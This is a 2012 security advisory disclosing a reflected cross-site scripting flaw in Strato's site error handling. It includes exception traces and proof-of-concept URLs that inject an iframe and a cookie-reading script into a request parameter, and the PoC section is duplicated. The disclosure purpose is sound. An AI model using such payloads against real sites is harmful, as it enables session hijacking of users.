Strato NumberFormatException - Validation Vulnerability

Document Title:
===============
Strato  NumberFormatException - Validation Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=395


Release Date:
=============
2012-01-20


Vulnerability Laboratory ID (VL-ID):
====================================
395


Product & Service Introduction:
===============================
1.4 million customers in six European countries trust the STRATO AG. In two high-performance computing centers
Europe s second largest web host operates 35 000 servers with over 4 million domains. Regularly by the TÜV
checked and confirmed that a web site, server, online shops and corporate applications in data centers are
kept safe and highly available.

In addition, ensure brand hardware, routing equipment and ultra-modern direct-access fiber backbone for the highest
Security, availability and performance. STRATO has ten years experience in web hosting technologies and offers
the entire spectrum of modern hosting services ranging from web hosting packages on dedicated and virtual
Servers, and online web shops, to innovative solutions on Microsoft and Oracle database.
 
(Copy of the Vendor  Homepage: https://www.strato-pro.de/)
(Copy of the Vendor  Homepage: https://www.strato-pro.de/)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an input/output validation Vulnerability on the Strato & StratoPro ISP Application.


Vulnerability Disclosure Timeline:
==================================
2011-03-17:	Vendor Notification
2011-**-**:	Vendor Response/Feedback
2011-12-29:	Vendor Fix/Patch  by Check
2012-01-21:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An Input Validation Vulnerability is detected on the Strato & StratoPro website java.NumberFormatException Handling. 
Attackers can execute client-side script code via input output request. The vulnerability allows an remote attacker 
also to hijack customer sessions via medium required user inter action. The bug is located on the java.NumberFormatException 
which executed the output on our test. 
 
Vulnerable Module(s): 
						[+] java.lang.NumberFormatException


--- Exception Logs ---
1.1
java.lang.NumberFormatException: > <INSERT SCRIPTCODE HERE!> is not an integer value.<br>
	at com.sfs.lang.CharBuffer.toInt(CharBuffer.java:399)<br>
	at com.sfs.siteforum.server.tree.Connection.<init>(Connection.java:135)<br>
	at com.sfs.siteforum.server.tree.RootBranch.service(RootBranch.java:443)<br>
	at com.sfs.siteforum.server.tree.RootBranch.service(RootBranch.java:424)<br>
	at com.sfs.siteforum.server.tree.RootBranch.service(RootBranch.java:414)<br>
	at com.sfs.siteforum.server.Service.service(Service.java:320)<br>
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)<br>
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)<br>
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)<br>
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)<br>
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)<br>
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)<br>
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)<br>
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)<br>
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:298)<br>
	at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190)<br>
	at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:291)<br>
	at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:769)<br>
	at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:698)<br>
	at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:891)<br>
	at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690)<br>
	at java.lang.Thread.run(Thread.java:619)<br>


<!--END of ERROR-->
</td></tr></table></td></tr></table></center></div>
</center></BODY></HTML>


1.2
}

.defaultButton1 {
  margin-left: 5px;
  background-image: url(../images/login_header_gradient.gif);
  border: 1px solid #87AABF;
  padding: 2px 2px 2px 2px;
}
</style>
<div class= errorHeader >MyFaces encountered an error.</div>
<span class= errorMessageTitle >Message:</span> 
<span class= errorMessage >null</span><br/><span id= errorDetails  class= errorExceptions ><pre class= errorExceptionCause >java.lang.NumberFormatException: 
For input string:  > <iframe src=http://vulnerability-lab.com width=1200 height=900> 
	at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
	at java.lang.Long.parseLong(Long.java:410)
	at org.apache.myfaces.orchestra.conversation.ConversationManager.findConversationContextId(ConversationManager.java:157)
	at org.apache.myfaces.orchestra.conversation.ConversationManager.getCurrentRootConversationContext(ConversationManager.java:564)
	at org.apache.myfaces.orchestra.lib.jsf.ContextLockRequestHandler.init(ContextLockRequestHandler.java:87)
	at org.apache.myfaces.orchestra.lib.jsf.OrchestraFacesContextFactory$1.<init>(OrchestraFacesContextFactory.java:119)
	at org.apache.myfaces.orchestra.lib.jsf.OrchestraFacesContextFactory.getFacesContext(OrchestraFacesContextFactory.java:100)
	at org.apache.myfaces.orchestra.requestParameterProvider.jsf.RequestParameterFacesContextFactory.getFacesContext
(RequestParameterFacesContextFactory.java:92)
	at org.apache.myfaces.webapp.filter.TomahawkFacesContextFactory.getFacesContext(TomahawkFacesContextFactory.java:107)
	at org.apache.myfaces.trinidadinternal.context.FacesContextFactoryImpl.getFacesContext(FacesContextFactoryImpl.java:64)


Picture(s):
						../ive.png


Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by remote attackers with medium required user inter action. For demonstration or reproduce ...

Server:			https://www.strato-pro.de/
Value:			sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=


PoC:
https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Ciframe%20src=http://vulnerability-lab.com%20width=500%20height=500%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#

https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#

This vulnerabilities can be exploited by remote attackers with medium required user inter action. For demonstration or reproduce ...

Server:			https://www.strato-pro.de/
Value:			sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=


PoC:
https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Ciframe%20src=http://vulnerability-lab.com%20width=500%20height=500%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#

https://www.strato-pro.de/sfs?&t=/Default/gateway&i=1207058582423&b=1207058582423&application=story&l=
%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&active=no&ParentID=1224247919878&StoryID=1229602299989#


Reference(s):
						../poc1-review.txt
						../poc2-review.txt


Security Risk:
==============
The security risk of the non-persistent vulnerability is estimated as medium because the issue is located on the exception-handling itself.


Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


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=========================
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